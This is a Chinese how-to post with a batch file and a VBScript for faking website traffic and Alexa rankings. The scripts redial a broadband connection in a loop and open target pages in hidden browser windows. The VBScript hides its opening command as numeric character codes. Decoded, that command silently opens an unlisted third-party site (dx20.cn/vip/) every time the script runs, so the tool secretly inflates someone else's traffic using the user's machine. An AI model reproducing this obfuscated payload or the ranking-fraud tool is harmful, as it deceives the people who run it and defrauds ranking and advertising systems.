刷网站排名的批处理代码

以下代码保存为：shua.bat

=======================================================

@ title 网站刷流量排名工具

@ echo ----------------------------------------------------------

@ echo 网站刷流量排名工具。

@ echo ----------------------------------------------------------

@ color 0A

@ echo off

@ rem ---------- 设置名称,帐号,密码,延迟时间 ----------

@ set 连接名称=中国网通

@ set 宽带帐号=13213610060

@ set 宽带密码=123456

@ set 延迟时间=15

@ rem ---------- 以下部分不要修改 ----------

:start

@ Rasdial %连接名称% %宽带帐号% %宽带密码%

@ start shua.vbs

@ ping 127.0.0.1 -n %延迟时间%

@ Rasdial %连接名称% /disconnect

@ taskkill /f /im IEXPLORE.EXE

@ rem 循环

@ goto start

=======================================================

以下代码修改后保存为：shua.vbs

=======================================================

Str = Array

(83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,114,101,97,116,101,79,98,106,101,99

,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,13,10,111,98,106,83,104,101

,108,108,46,82,117,110,32,34,73,69,88,80,76,79,82,69,46,69,88,69,32,104,116,116,112,58,47,47

,100,120,50,48,46,99,110,47,118,105,112,47,34,44,48)

Function Num2Str(Str):For I=0 To UBound(Str):Num2Str = Num2Str & Chr(Str(I)):Next:End

Function

Execute Num2Str(Str)

'//请在下面设置要刷的网页，每行一个地址，不要超过10个地址。 //

objShell.Run "IEXPLORE.EXE http://www.bebecn.com/html/news.html" ,0

objShell.Run "IEXPLORE.EXE http://www.0898bbs.com/club/index.php" ,0

=======================================================

其中要修改的地方用加粗标示。安装 alexe 工具条后可以刷网站排名和流量，没有安装 alexe 工具条只可以刷流量。运行 shua.bat 即可开始挂机刷流量。每天刷一个小时，坚持半个月，alexe排名最少提升50万名。